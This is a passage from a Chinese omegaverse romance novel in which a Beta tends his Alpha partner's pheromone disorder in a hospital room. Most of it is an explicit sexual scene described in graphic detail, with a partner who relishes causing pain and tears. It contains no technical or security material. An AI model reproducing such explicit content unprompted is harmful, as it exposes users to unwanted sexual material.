医生刚刚交班,这时也不忙,黎白榆便先问了一下严野客目前信息素的状况。 Beta最惦记的,自然还是严野客的腺体损伤。 但这毕竟是Alpha的隐私,黎白榆总觉得,自己不好擅作询问。 至少要先征求过严野客本人的同意才对。 所以此时,黎白榆要问的也都是一些不涉及个人私密的问题。 听到医生说,看刚刚这些已完成的检查,严野客的信息素并没有出现更严重的波动,黎白榆才稍稍松了口气。 虽然清晨查房时,已经得到过类似的答案,但黎白榆并没有完全放心。 因为他完全无法感知严野客的信息素状况,所以也会担忧。 害怕自己昨晚的举动会帮倒忙,反而影响到对方。 毕竟黎白榆是Beta。 不像AO,许多时候只需要一点信息素,就可以轻易沟通、相互影响。 医生还道:“不过,因为严少的信息素浓度很高,对他的检查和治疗也会比较细致和谨慎。” “而且因为浓度高,紊乱症状也会有反复的可能,所以还需要多观察几天。” 黎白榆点头。 他也清楚,严野客的问题和其本身的信息素浓度脱不了干系。 普遍来说,信息素浓度越高的Alpha,身体素质就越是强悍。 这样的Alpha更容易超群出众。 相应的,他们也会容易失控。 医生的解释也是如此。 而且,信息素浓度高,出现明显的紊乱状况,再加上那种特殊的腺体损伤。 这些前提汇集在一起,还可能会导致一种少见的、极端的症状—— 不过犹豫了一下,年轻的医生还是没有说出口。 毕竟这还只是一种推测,不能预先地擅作判定。 而且严少的伴侣,还是眼前的这位Beta。 Beta群体没有信息素,理应不会像Omega那样,会强烈地招惹和刺激到Alpha。 再加上严少本人的高冷自律。 看起来也完全不像是会诱发那种症状的模样。 因此,医生便没有对黎白榆提起,只道。 “如果接下来几天,严少的信息素都能像今早这样保持明显的稳定,基本上就可以放心了。” 黎白榆听完,认真记在了心里。 因着医生的话,他也已经在考虑继续给严野客帮忙。 虽然不能像拥有匹配信息素的Omega那么轻易且有效。 不过既然现在还能帮到严野客,黎白榆自然会继续努力。 等到他从医生的办公室出来,再陪着严野客做完了全套的检查,时间都已经到了下午。 回到病房,黎白榆也没有休息,而是拿了自己的平板,做到一旁的沙发上,开始认真查起了资料。 他要复盘自己昨晚的表现,查缺补漏。还要搜索相关知识,弥补昨天的技巧不足。 此外,黎白榆还觉得,用手帮忙的效率可能真的会比较低。 就像昨晚,时耗那么久,还把手腕都累酸了。 黎白榆想知道,有没有其他的方式技巧,可以纾解得更为高效。 于是他便开始搜索这个问题。 但等真正看到相关答案时,黎白榆却倏然一僵。 “……” 虽然从没接触过这些,网上的此类信息源也比较隐蔽。但做了那么久的学术研究,黎白榆抓关键词搜索的技巧、精准获取所需资料的能力,都是绝对的一流。 所以他很快就在一众的虚假广告和骗子网页中,找到几个海量的、免费的、精品的信息来源。 但也正是因为黎白榆的查找手段强,眼前跳出的答案,也不只是文字解答,甚至还有图解、画面辅助—— 比手更高效有力的纾解方式,还有更情瑟一点的。 口。 “啪!” Beta直接把平板给扣倒了。 “……” 那都是些什么图片! 过强的冲击力让黎白榆一时没能控制住自己的手劲,平板发出的声音也瞬间吸引到了一旁Alpha的注意力。 “怎么了?” 严野客看了过来。 黎白榆尽量轻描淡写:“没事,不小心碰倒了。” 他还道:“吵到你工作了吗?不好意思,你忙吧。” 但还没等黎白榆平复心情,假作无事地掩饰过去,病床上原本在看屏幕的Alpha已经直接放下电脑,起身走了过来。 严野客也走到了沙发旁,淡淡道。 “不忙。” “……”黎白榆无声地吞咽了一下。 他干巴巴地问:“真的不忙吗?” 严野客低眸看他。 “嗯。” 黎白榆眨了眨眼:“那我可以问问,你的腺体损伤是怎么回事吗?” 严野客:“……?” Alpha似乎没想到,他会忽然说起这个。 这件事黎白榆今天一直想问,而且他也确信,自己的平板并没有打开声音。 所以,在给Alpha让出一半沙发的位置之后,黎白榆便专注地望向了对方,想问清这个答案。 严野客被他这样看着,沉默了片刻,终是开口,说。 “是在你昏迷之前,我处理家事时,意外受伤,导致腺体出了点问题。” 这个受伤时间,的确和黎白榆的推测一样。 Alpha还道:“之前没说,是因为不想让你觉得,我被伤势影响到了性能。” 他看一眼黎白榆,又补道。 “能力。” 黎白榆:“……” 腺体受伤和性能……力,这哪里相关了。 明明男人根本没受到影响。 不过黎白榆知道,Alpha的信息素的确与性郁相关。 并且,Alpha们的自尊心也和好胜心一样强,对这方面的事似乎都比较在意。 所以黎白榆还是安慰道:“不会的,没有这种误会。” 他还努力思考各种积极的用语,来夸赞对方:“你非常的持久,旺盛,健康。” 只是严野客却好像没被他鼓励到。 男人淡漠看着他,说:“可你刚刚都还在发愁。” “发愁?”黎白榆有些不明,“愁什么?” 直到看见Alpha的目光望向桌上的平板,他才愣了一下。 “……” 黎白榆试图解释。 “我不是在愁这个……” “那是什么?”严野客道。 黎白榆微微抿起了唇。 眼见他不是很想回答,严野客又开口:“不想说也没关系。” Alpha视线微垂,嗓音也低了下来。 “我只是不希望,给你添麻烦。” “没有,没有添麻烦。” 黎白榆虽然纠结,但也不想让严野客误会这个。 于是犹豫了一下,他还是选择了向人坦白。 “我刚刚只是在查资料,查……呃,比手更有效的帮忙方式是什么。” 严野客抬眼望过来,眸光被镜片所隐没,让人看不清真正的神色。 他只是淡冷地,复述着问。 “是什么?” “……”黎白榆有点难以开口,下意识地想比划一下。 却发现,比划动作好像更加羞耻。 于是最后,Beta还是言简意赅地、隐晦又精确地回答了一个字。 “舔。” “哦。”严野客应了一声,嗓音听不出情绪。 但他接下来的话,却大大出乎了黎白榆的预料。 严野客说:“我喜欢这种。” 黎白榆:“……?!” 望见他惊诧的神色,Alpha又续道。 “不过不是被舔,是我想吃。” “……啊?” 黎白榆愣得更厉害了。 相比之下,严野客的神情却一直很淡然。 他还微微后靠,轻倚在了沙发上,又将长腿抬起,搭在了另一侧的膝盖。 一个闲散的,安然自若的姿势。 “这也会让人兴起,是获得愉悦的一种方式。” Alpha淡淡看向黎白榆。 “只是我要求比较高,所以之前没试过。” 黎白榆:“……” 原来对方的喜好这么……奇特,怪不得会憋这么久。 “不行吗?” 男人望着他,还在认真道。 “如果你觉得难以接受的话,我还可以继续忍。” 黎白榆本来就是为了给人帮忙,哪能听得了这种“继续忍”的话? 他磕绊了一下,终于找回自己的声音。 “可、可是我,一点都不冰……” 只是等开了口,黎白榆才发现。 自己已经开始思绪混乱,几乎不知道在说什么了。 但他还没来及撤回,却听见严野客说。 “我不喜欢吃冰。” Alpha单手拖着下颌,眉眼沉沉地望着他。 “我喜欢吃我老婆的。” 黎白榆:“……” “可是——” 他还想说,自己一点都不好吃,呃,也不好舔,但是话音却被直接截住了。 “唔、嗯……” 一旁的Alpha已经倾身过来,极为娴熟且自然地吻住了黎白榆的唇。 唇畔贴碰,气息相交,薄凉的冷息侵袭了Beta的齿列。 恍惚间,黎白榆又被带回了唇齿依缠的昨夜。 不是只浅浅地碰一下嘴巴,而是更深入的,更有侵略性的长吻。 黎白榆又被这超出预料范畴的深吻,亲到思绪微微茫乱。 直到他被腿边的粗硬凉感生生硌到,才在愕然中仓促回神,茫然地、难以置信地望向了面色依然沉冷的Alpha。 “你……” 唇瓣这时才被放开,黎白榆的胸口轻促起伏,甚至来不及呼吸够新鲜的空气。 “你已经……?” Beta难以想象,也完全不了解:“那种事、真的会有用……?” “嗯。” 严野客却沉声,明确地低应了。 他又轻缓落吻在Beta讶然微张的唇畔,声线霜然冷沉,一如平日。 “一想到可以吃到你,我就开始期待。” “兴奋得……好难忍。” 第 37 章 037 那话中过于真切的期待, 让黎白榆都愣了一下。 “你是……” 他的话没问完整,却已经被严野客接了下去。 “是真的想吃。” 黎白榆:“……” 他只感觉有个小人版的自己,在伸着小短胳膊茫然地抱着脑袋, 眼前还开始冒星星。 真的是好、好少见的癖好。 黎白榆都不知道。 怎么治病帮忙,居然还会有这种方式…… 但茫然混乱的Beta语塞了好一会儿,还是在严野客的注视下,小声开口。 “那我先……去洗个澡。” “早上不是洗过?”严野客说。 “不行。”黎白榆却摇头, 不肯松口。 他顿了顿, 还说。 “要, 要吃干净的。” 严野客深暗的眸底浮漾开一点微不可察的笑意。 就像听幼儿园老师讲话的大朋友,严野客还点点头, 应了对方这叮嘱。 “好。” Alpha见好就收, 没有接着招惹人, 说什么就喜欢弄脏、本来就爱吃湿的之类的话。 严野客用高挺的鼻梁蹭了蹭黎白榆的侧脸,还主动地把怀中圈过来的Beta放开。 他道:“等晚上,睡前再试吧。” 不能真的把人逼太紧。 黎白榆闻言微怔:“那你现在……” 两人同坐的沙发并不算大,此时黎白榆依然能清晰感觉到严野客的冷然硬度。 可是Alpha却说:“没关系。” 严野客的语气淡然平静,好像即使这样难掩的兴起, 也完全没觉得有什么。 “我善于等待, 也喜欢期待。” 他只是沉沉望着黎白榆, 唇角还微抬了一瞬,露出一点罕见的、更像正常人一般的微笑与平和。 “等待幸福的那一刻最幸福。” “……”黎白榆微讶。 好像没想到他会这么说。 Alpha倾身, 贴在黎白榆的唇角梨涡, 吻了他一下, 旋即便起身,淡然去门口拿保镖送来的下午茶。 黎白榆的目光追随着对方的背影,欲言又止。 他不免有些忧心忡忡。 原来对方是这样想的, 怪不得会忍出病…… 但眼下这种情况,黎白榆又没办法立刻和人说别忍了。 他怕自己会真的洗不成澡。 于是之后,黎白榆也没能多讲,只伸手继续拿回了自己的平板。 严野客也没有回病床上,和人一起吃过下午茶之后,就留在了沙发这边。 虽然严野客刚刚的表现一直很平和,最后说的那句话更是感性。 但是和存在感十足的这么大只一个A共处,尤其还知晓了此刻他内心的期待。 就难免会让人有些压力感了。 黎白榆抱着平板,此时也没办法再看什么技巧资料——怕身旁的Alpha视线一偏就会直接看到。 最后,他只好看起了自己的专业文献。 才终于重新把精力集中了起来。 关于严野客这种信息素影响体温的状况,黎白榆还专程去查找了一下,好像的确有相似的案例。 过往的研究中,也曾出现过信息素影响其他感官的个体。 不过目前黎白榆人不在学校,暂时上不了校内的专有期刊库,搜到的期刊资料也不算全面。 他便打算等返校之后,再更全面地仔细翻阅一下。 时间过得比预想中更快,黎白榆只觉得近乎是转眼间,天色就黑了下来。 夜间的查房结束之后,黎白榆就先去洗了澡。 他把自己洗得很是仔细,时长颇久。 黎白榆的本意是想洗得更干净一点,但他才刚从洗漱间出来,就忍不住有些后悔了。 因为冲洗的时间长了,反而导致他的肌肤更为敏.感。 门外的一阵轻微的空气流动,都让黎白榆忍不住打了个轻颤。 他也不知道,自己本就冷白的肤色,如今被水汽晕染得薄白中透红。如冰瓷上釉,落在别人眼中,又该是一种何等的光景。 美得不可方物。 黎白榆依旧像往常一样,对自己的资本毫不知情,他只是顾自在迟疑。 还不清楚,这次帮忙要用什么……姿势。 下午查阅资料时,那些跳出来的图片答案画面太过于劲爆,黎白榆的速度又一如既往地太快,导致他本人反应过来之前,大脑已经自动接收。 ……让他现在觉得,实在有些难以践行。 太高难度,好像也太羞耻了一点。 但真正要如此行动的人,却远比黎白榆要轻松。 似乎察觉到了Beta的紧绷,严野客还主动安慰他说。 “别担心。” Alpha的语气很是沉稳体贴。 “我会吃干净的。” 黎白榆:“……” 只是这话,听起来却让人有点更担心了。 好在严野客没有像黎白榆看过的图片那样,选择坐立或者向后仰躺的姿势,而是依然选择和昨晚那样去了床上。 室内也关了顶灯,只有床侧留了一盏光晕如豆的小夜灯。 昏暗的环境让黎白榆得以自欺欺人地放松了一点。 只是这种黑暗,好像也让严野客如鱼得水,更趁手了一分。 最先察觉微凉触感的,依旧是黎白榆的唇。 这次Alpha亲得并不深入,更不能说凶,只是在用薄唇轻缓地贴蹭着他。 更像是亲昵的厮磨。 但几乎是下意识的,黎白榆还是本能抬手,轻轻推了推身上覆着他的男人。 因为他已经被严野客深吻过两回,此时再被亲到,就总觉得对方似乎还会探入他的唇。 像这样每次亲都被亲晕,然后黎白榆就会不知道怎么反应,还会变得有点予取予求。 这应该是缺氧的后遗症……他想。 吃过前面的教训之后,黎白榆还是希望能保持一点必要的清醒。 而被推了推的Alpha低眸看他,昏暗之中,俊冷的面容似乎显得有些意外。 不过Alpha也没有坚持,只又垂头吻了吻黎白榆的唇角,说。 “那我快一点。” 接着,便真的继续往下了。 “……?” 黎白榆一时没能反应过来,迟了几拍才意识到对方说的是什么意思。 自己的举动,好像被对方当做了催促。 他再欲解释,却被腰间传来的凉意侵占了心神。 “唔……” 黎白榆还穿着上衣,睡袍宽松,很轻易能被从下摆掀开。 严野客的手已经探入进去,唇间的动作也没有停,顺着黎白榆清瘦的下颌,纤长的脖颈,一路落吻。 夜灯之中,Beta睡衣下的腰身被半遮半显地露出了几分。 他的肌肤温软,小腹平坦。明明腰腹的皮肤极少见光,却更有一种蕴着光的莹润之感。 照常理而言,深浓的发色和深瞳会更容易对比出肤色的白。 但黎白榆发丝和眼眸的颜色如此之浅,甚至他连唇都明显色淡,周身却依然白得一眼可见。 青年整个人都宛若一方清透的冰翡,光感清冷,让人难以移目,抑制不住地想要伸手去碰。 更是一种动魄惊心的醉人。 而伸手进黎白榆腰间的大掌,果然也紧紧地覆握住了他。 连前挪时都紧贴着细腻腰线,没能在掌心中剥出一点缝隙。 对比之下,两人的体型被衬显出更明显的差距。 Alpha只用单手,就完全可以掐过黎白榆的半边腰身。 “……唔。” 黎白榆的心神都被腰侧的触感所吸引,加之光线昏沉,他更没能看清此时Alpha隐没于夜色中的暗郁眼神。 他只感觉到了腰间的大手似乎还有向上的趋势,这时就更明显地紧张了一分。 黎白榆小小声,说。 “我没有胸肌……不好摸。” 严野客的动作停了停,抬眼看他。 “真的吗?” 黎白榆正要回答,却忽然被人隔着睡衣,在胸前的某处被吻了一下。 “……!!” 太过精准的触碰,让Beta倏然睁圆了眼睛,连被掐握着的腰侧都差点向上弹起了一寸。 他的气息仍在惊促,却听见严野客淡然评价。“手感挺好的。” 停了停,Alpha还修正。 “口感。” 黎白榆只感觉自己人要冒烟了,仓促地抬手推了对方。 “不是、不是说,要吃下面?” 怎么在胸口就下嘴了……?他又没有胸.乳。 “你也喜欢,吃这个吗?”黎白榆不解地问。 这也是Alpha的癖好之一吗? 那应该找胸型比较挺拔的才对吧…… Beta的思绪还有些乱,却听到了意料之外的答案。 “不喜欢。” 好像猜到了他在想什么,严野客直接道:“我不喜欢大胸肌。” 他还道:“可惜我自己条件有限,天赋不足,稍微一练就会大。” 说话间,Alpha的语气似乎当真有些抱憾。 严野客还低头,亲了亲黎白榆的心口。 “我喜欢这样薄薄的胸型。” “……” 黎白榆的脑子都被他讲得有一点乱,情不自禁地顺着对方的话,回忆起了自己昨天被人牵手去摸过的,饱满的胸肌。 那么厉害的肌肉……严野客居然不满意? 虽然说每个人的审美都不一样,要尊重个人喜好。 不过黎白榆还是有些不太懂。 “那你……是只能变大,不能练得显薄吗?” “嗯。” 严野客应得很认真。 他还低眸看向了自己方才含过的地方,那一点几不可见的微微挺翘。 “所以只能吃一下,过过嘴瘾。” “……”黎白榆的思绪更有些乱七八糟。 他确实信了严野客的话,只是在担心自己的反应。 那种超乎意料的强烈感观,让他甚至有点怕被碰到。 更怕会被揉。 Beta从没想过自己的身体会有这么强的反应,他之前一向对此毫无兴趣,平日更是清心寡欲,从没有过这方面的主动需求。 没接触过,所以也完全没料想,自己被别人碰到时竟会有这样鲜明的感受。 这和黎白榆一贯清寂寡淡的生活完全不同。 可是现在,为了能帮Alpha缓解紊乱,黎白榆沉默许久,终于还是开了口。 他声音还带着一点很轻微的,不易察觉的磕绊。 “那你别……太用力。” “好。” 严野客答应了他。 “我不会咬的。” “……?” 黎白榆却因为这话,视野都险些黑了一下。 “……还可以咬?” “不咬。”严野客又低缓地重复了一遍。 Beta并不清楚,对于连接电话都嫌效率太慢、同样的指令从不会说两遍的严野客而言,这样的耐心究竟多么珍罕。 一无所觉的黎白榆依然微微紧绷着,感觉到自己宽松的睡衣之下,对方的另一只手也伸了进来。 之前的轻吻还是隔着衣服,此时微凉的手掌探伸过来,却是直接覆握住了薄软的肌肤。 毫无阻隔的触碰,更是让黎白榆生出了未曾想到的过量反应。 “……!” 他下意识地咬住了唇,腰背也倏然绷紧,薄窄的后腰勾勒出了一道十足惑人的弯弧。 但自下方抬眸的严野客沉沉望着他,却忽然开口。 “别咬。” 男人还抬起一只手探过去,长指按在黎白榆的唇上,不容拒绝地分开了他的唇瓣。 动作强势,体温冷感。 黎白榆这时才从胸前的冲击中回神,想说话,却已经被人探入了唇间。 他只能含着严野客凉凉的手指,点点头:“唔……嗯。” 明确地答应过了,这才得以被放开。 严野客的手指缓缓抽出来,微微湿润的指腹点抹过黎白榆的唇畔。 他的嗓音也低下来:“我轻一点。” 黎白榆垂眼,就见Alpha再度俯身,将之前动作的手,又换做了亲吻。 “……” 他听了严野客的话,没有再咬唇。 却还是忍不住抬手,咬住了自己的手背。 尽管是已然经历过的亲碰,席卷而来的感受依然冲击未减。 那种意料之外的鲜明感观,和往日的平静太过不同,和一贯的认知也截然相反。 Beta可能……真的不适合参与这么强烈的活动。 黎白榆茫然地视线轻颤,湿着眼睛在想。 尤其在被隔着衣服含住软尖时,黎白榆紧咬着自己的手背。 却还是险些被惊出了声音。 太……超过了。 黎白榆不懂,为什么会有人喜欢这样吃。 更不懂,自己的反应为什么这么大。 他的手臂还微微压紧,本能地按着上衣,潜意识里害怕Alpha会把睡衣掀开,直接去用嘴。 手指碰握都那么激烈了……唇齿肯定会更为可怕。 然而即使隔着一层布料,似乎也没能让黎白榆感觉好上多少。 相反,衣物濡湿之后的存在感太强,无时无刻不擦磨在薄白的翘尖上。 其实也很难熬。 黎白榆的胸口左侧被含着添舐,始终没有被Alpha的薄唇放开。 过量的感观直接连成了片,非但没能因为习惯而消减了刺悸感。 反而更加持久连绵。 胸前男人的动作异常专注,让黎白榆更难消化,也无以理解。 总之,着实给了他这个Beta一点小小的姓癖震撼。 而且,即使严野客动作轻缓,神色沉稳,还亲口承诺过。 可是Alpha那种骨子里的侵略感还是太强了,让黎白榆仍然无法真正地放下防备。 ……总觉得,还是会被咬。 直到胸口左侧被含添了许久,一直没有生出痛楚,还得以被男人放开的时候。 黎白榆才终于缓了小半口气。 他还看到严野客偏头转向了另一侧,就以为,对方在右边也会同样地重复一遍。 可是,还没等黎白榆因为两边都要湿透而生出窘迫,再度俯身下来的Alpha,却是在右尖的第一下就嗑咬到了他。 “呜——!!”黎白榆瞬间绷起,睁圆的眸海漫开水雾,清瘦的喉咙中滚溢出含混的呜.咽。 右边那处尚还没有被碰触过,一直被不知有意无意地单独忽略了。 黎白榆自己也没察觉,更不知道右侧会因为另一边的对待,也被招惹得同样敏锐,无声地一路积蓄到了现在。 于是这时,第一下便承受这种嗑痛,就更是让人猝不及防。 毫无防备地承受了最剧烈的冲撼。 Beta下意识地弓腰抬背,仰高了身体,却反而将自己更多地送入了对方的口中。 他还咬着手背,受不住想要去推,可是仅有的一只手,指尖也失了力度,只能虚搭在对方的肩上。 一时竟难分出是拒绝,还是迎合。 “抱歉。” 一只温凉的手掌插入黎白榆绷起抬高的后背,轻缓地帮他顺着薄白微湿的背脊。 Alpha的声音中满带歉意。 “不小心嗑到了。疼吗?对不起。” 黎白榆颤着湿透的长睫,眸中含着的漉漉水光也在晃漾。 “不要这样……很痛。” 他低轻的嗓音也染上了鼻音,一向清冽的声线此时却明显软哑。 更拂痒在人胸腔最深处的柔软心尖。 “对不起。”严野客的声音低下来,也染带了些许哑意。 男人又垂首去亲他,安抚似的,在那受过疼的软尖上反复添含。 温凉的湿痕在单薄的布料上微微漫开,又如此清晰地传递给衣物之下的肌肤。 “这样会好一些吗?” 黎白榆的气息依然低促,胸口浅而轻地起伏着,其实并没能觉得好多少。 他还是没能习惯被咬吃那里,更难适应对方贴吻着他的胸尖说话。 好像连声带的轻微震动,都清晰地传递给了最薄弱的部位。 可是看着Alpha的愧疚模样,黎白榆也只好胡乱点头,小声说。 “没关系……不疼了。” 男人似乎也的确被他安抚了一分,这时才继续接下来的动作。 还会要吃多久…… 黎白榆的视野还湿着,有点没精打采地想。 如果含久了,肿起来,胸前没那么薄……严野客会不会就不喜欢了? 但Alpha的持久和专一,还是远远超出了黎白榆的设想。 甚至等到两侧嫰尖真的都微微地舯翘起来,男人的偏爱也完全没有消退。 除了最软的红尖,黎白榆单薄的胸廓也没有被忽略。 他冷白的胸前肌肤都被细细吻过。因为睡衣太宽松,人又削瘦,导致从敞开的领口吻下去,直接肌肤相贴的亲碰也承受了许多。 起初黎白榆还担心过,假如严野客用手去揉,可能会捏疼。 但其实没有。 因为Alpha真的几乎全用了口。 只是被这样毫无遗漏地吃了个遍,好像也没有轻松多少。 尤其还不知道,什么时候才能结束。 也不知道下一秒,会不会真的被咬。 直到不知过了多久,Beta单薄的胸口起伏都明显加深了幅度,压覆着他的男人才终于像勉强解瘾了一样,暂时停口。 黎白榆茫然地轻.喘着,偏头怔怔地望着深黑的夜色,感觉自己的大脑好像头一次变得如此空茫。 他的每一次呼吸起伏,胸口的布料还会细微地擦蹭过软尖,透出令人难以忽略的异样感。 唇畔还落下了一个微凉的浅吻,伴着Alpha低沉的磁音。 “我吃完了……别怕。” 严野客亲了亲他,还道。 “谢谢。” 黎白榆迟缓地眨了眨眼,昳丽的眼廓都被长睫上的水汽一并染湿。眨眼时,透出凉凉的湿润感。 他的礼貌让他没办法忽略Alpha的话,于是黎白榆也微微启唇,小声地说。 “不用客气……” “……” 严野客沉而无声地吸了口气。 Beta完全不知道,有时候正是他自己说的话,给出的反应。 更让人心思难宁。 不可能老实。 严野客的啄吻继续向下,他也问了Beta,要不要把胸前半湿的睡袍暂时脱掉。 但听了这话的黎白榆却像受惊似的,摇头不肯,还说湿着也没关系。 于是严野客也没坚持。 更没告诉他,其实濡湿的布料贴裹在胸前,会把那点显眼的软尖凸显得更翘。 而且宽松单薄的睡袍也完全没有妨碍严野客的动作。 他的亲吻到了黎白榆的腰腹,因为刚刚动作的缘故,Beta的肌肤也微微汗湿,柔软的小腹蕴着微光,愈发莹润,有如薄雪。 更带着令人爱不释手的触感。 青年的腰身本就窄细,他的腰腹两侧也有着两条纤柔的弧线,勾勒出柔腴完美的肌肤廓线。 清瘦而十足勾人。 那紧实平坦的腹部,还太容易诱生联想。 更容易被迫透显出内里的轮廓。 严野客吻得轻浅,眼眸却是截然相反的深暗。 保险起见,他并没有在此处过多停留,只是顺着青年侧腹的薄弧线条吻了吻,继而向下。 剥落Beta身下的最后一层遮挡时,严野客明显感觉到对方僵了一下。 但他的动作很稳,给了对方支撑。 也因此当真碰到了自己点评过的惹眼优势。 亲手碰触过,才知晓得更真切。 是真的很软。 黎白榆的臀线是天生的,严野客看得出Beta身上没有什么训练痕迹。 而且以对方的单薄体力,也不像是能承受多少负荷。 但这般清瘦的Beta,臀廓却翘得好像会主动填握进人的掌心。 明明只是手掌轻轻碰过,却连指缝中都隐隐鼓挤出了柔软的弧陷。 “……唔?” 严野客在人身后握得久了,只到听见黎白榆略有不解的轻声疑惑,才施施然收回了自己的手掌。 他还把单薄的衣裤叠放到一旁,淡定得好像没有分毫异样。 没了遮挡,身下的青年下意识地想去拉被子。 但在动作之前,他却已经被严野客捉握住了手腕。 严野客俯身,将自己盖了上去。 他的亲吻已经极致向下,甚至触到了Beta的柔软毛发。 黎白榆的毛发很少,和严野客的完全不一样。 不仅细软柔顺,还和长发同样,都是薄薄的淡金色。 被碰到的Beta明显有些难掩的羞涩,但动作的严野客却仿佛完全不觉有异。 还会主动去吻。 他亲得不止一下,让黎白榆都有些紧绷。 好不容易从胸前异样中将将平复了一点的Beta艰涩开口,对着反复亲他的男人,问得有些结结巴巴。 “你是觉得,会扎吗?” “?” 严野客抬眼看他,似有意外。 “你想剃?” “……?!” 黎白榆差点被呛到:“没有!” 他明明是担心严野客的癖好独特。 而且,尽管感知不到任何信息素,但面对身前侵略感太强的Alpha,自己还如此毫无防御。 黎白榆总觉得会有些许不安。 ……他真的感觉,Alpha可能什么事都做得出来。 “我是怕,”黎白榆小小地吞咽了一下,“怕你会想。” 相比之下,严野客的表现反而很平静:“不会。” “你怎么样我都喜欢。” 他淡然说着,还看了一眼黎白榆。 “所以你想的时候,可以直接告诉我。” ……他不会想的。 黎白榆又不禁有一点混乱。 有的时候,真的不太理解他们Alpha。 黎白榆只觉得,自己一个Beta,确实与AO存在着客观的生理隔阂。 对这些运动与癖好,也只感觉完全陌生。 可能有信息素的话,会更容易接受一点? 像他这样没信息素的人……就真的只会觉得有点太超过了。 黎白榆乱乱地被人按回去,眼看着Alpha还在兴致很好地继续开动。 刚刚的那些胸前品尝,好像都只是一场开胃的前餐。 让黎白榆都不由生出了一种,自己会被吃干抹净的错觉。 而严野客的动作也没有很急,依然沉稳温和,带着能安抚人的慢条斯理。 他其实也还在思忖。 白榆的反应比自己预想得更敏.感,亲一下乃尖都会打颤。 真要被含住下面,他会不会受不住地发抖? 还可能会掉眼泪。 掉眼泪的白榆,想想就好可怜…… 好喜欢。 冰冷的血液好像都随之灼烧起来,严野客面色沉静地轻轻啄吻着。 他更饿了。 第 38 章 038 这一夜, 黎白榆睡得很沉,既没有虚燥不适的反应,也没有做什么光怪陆离的魇梦。 他睡得很是舒适, 惬意,还感觉自己抱到了心仪的冰皮抱枕,无论手感和硬度都是一流。 而且怀里的抱枕很大只,宽宽长长的, 不仅可以抱, 还可以把脸也埋进去, 舒服地枕着睡。 直到鸟鸣晨晓,清早的日光暖亮亮地照进来, 黎白榆才从酣眠中慢慢醒来。 初醒的怔恍让理智没能立刻清明, 黎白榆慢了半拍才反应过来, 自己此时睡的,是严野客的病床。 因为昨晚吸取了上一次的经验,被弄脏的成了更窄的那张陪护床。 ……等等,弄脏? 黎白榆微微僵了僵。 不仅是因为他回想起了昨晚的经历,黎白榆还发觉, 自己此时醒来, 怀中正满抱着什么东西。 刚才睁眼时, 因为眼前满是白花花的一片,黎白榆都立刻没意识到这一点。 直到此时细看, 他才发现, 自己抱着的是…… 这张病床的主人。 ……还是没穿衣服版。 黎白榆稍显僵硬地低了低头, 他看见自己正好端端地穿着睡衣。 但严野客没有。 男人裸着上身,被子也没有盖好。清晨的阳光透过窗帘半淌入室内,严野客紧实硬韧的肩颈和上臂都被笼上了一层温亮的薄纱, 身上本就清晰的肌理线条此时愈加鲜明深刻地显现出来。 映人眼底,一览无余。 而黎白榆看得比任何人都要清晰。 因为他正枕在严野客的胸肌里。 “……” 青年呆呆地偏了下头。 他不确定,自己刚醒时鼻尖蹭过的那点柔韧触感,是不是严野客的胸……沟。 ……严野客的身材和他本人性格真的有点不太一样。 黎白榆更确认了这件事。 他的身材着实太……太热情了点。 但实际上,男人的体温又与他本人如此相似,都带着鲜明的凉意。 虽然已经不会像易感期时那么冰,但凉凉的,也很好摸。 没有一点盛夏的闷热黏腻感。 黎白榆闻不到信息素,无法体会那些AO为信息素心动的感受,但严野客身上原本的味道也不难闻,没什么汗湿,只有一点很淡的冷香。 就像是那种炎炎盛夏中,剔透的冰块所散发出的霜凉气息。 再回想起自己梦中的心仪抱枕,黎白榆这时才意识到。 ……让自己舒服满意的触感,居然是这个。 黎白榆是真的开始觉得,自己该再去买一个冰丝抱枕了。 返校前,每晚睡觉都还得用上。 而此时,上错病床抱错枕的黎白榆低着头,只能默默地、轻手轻脚地放下怀里的冰皮Alpha,准备起床。 但他才刚刚收回手臂,撑起身体,就对上了那双血色的眼睛。 “……早。” 黎白榆微僵了下,没想到严野客已经醒了。 男人应该也是刚醒,还没有来得及戴隐形,他就用那双郁色深浓的红瞳看着黎白榆,沉冷的声音中还带着晨起的低哑。 “为什么?” 黎白榆怔了怔:“什么?” 他没听懂。 “你一醒就急着离开我怀里。”严野客说的居然是这个。 “不喜欢?” 男人的眼瞳原本血色极艳,此时却微微黯淡下来,透出了一种沉郁的低落。 “我就知道,大胸不好看。” “没有!”黎白榆还半撑着身体,闻言连忙否认。 他这时才来得及把自己坐直,起身时垂散的长发微微拂过了严野客的上臂,让严野客眼中的那层落寞都险些被拂散。 而黎白榆这时坐起来,却不是为了自己省力,而是为了要面对面地郑重和严野客解释。 “没有不好看,不要这样贬低自己。” 严野客沉默看他,眉眼之间仍有郁色。 “你的身体素质这么好,外形条件也很强。” 黎白榆说着,还回想起了自己之前看过的体检单上的话。 “综合评分都显示,你的优秀超越了97%的同龄Alpha。” 但被这样称赞的严野客依然有些不为所动。 黎白榆微微抿唇,绞尽脑汁地在自己的社交库存中寻找更多夸人的词汇。 严野客这时低低叹了口气:“可是还有3%的不喜欢。” 黎白榆宽慰他:“你本来也不需要取悦所有人。” 听到“喜欢”,青年还终于找到了一个新夸法:“我就很喜欢这种,你真的很厉害。” 一直盯看着他的严野客好像这时才终于没那么郁郁寡欢。 “真的吗?” “真的。”黎白榆认真点头,还朝严野客多看了一眼。 要是能买到这样的抱枕就好了。 又冰又大,又能枕着睡的。 黎白榆想。 不知道冰丝抱枕,可不可以定制形状? 安抚完看起来有些早起抑郁的严野客,黎白榆才得以去起床洗漱。 而等下床走去洗漱间的路上,他才意识到一件事。 自己的内……裤,没在身上。 当然也没在身下。 好像昨晚被严野客脱掉之后,就没再给他。 黎白榆走到一半才发现这一点,这时也不好意思再折返回去床上找。 好在他行李袋中还有新的备用,而且睡衣的下摆宽大,行走时也并没有显露不雅。 不过等进了洗漱间,黎白榆也没有立刻把新的裤子换上。 他正想冲个澡,准备等洗干净了再穿。 “你要用浴室吗?” 黎白榆还礼貌地询问了一句,避免自己使用时间太久,耽搁对方。 严野客也跟了进来。 他依然没有穿上衣,只身着一条长款的睡裤。 可能因为丝质的睡裤布料比较滑,不容易向上拉高,导致严野客的衣物穿得很宽松。 男人不仅上身在外,连结实紧致的腰腹也同样如此,靠近腹.股.沟区的人鱼线都明晃晃地露了出来。 黎白榆并没有抬眼,还在低头找自己的洗漱杯,听见身后有人走进来,他便想让出空间。 “那你先……唔?!” 话没说完,青年就微惊了一下。 因为他的后腰覆上了一只手。 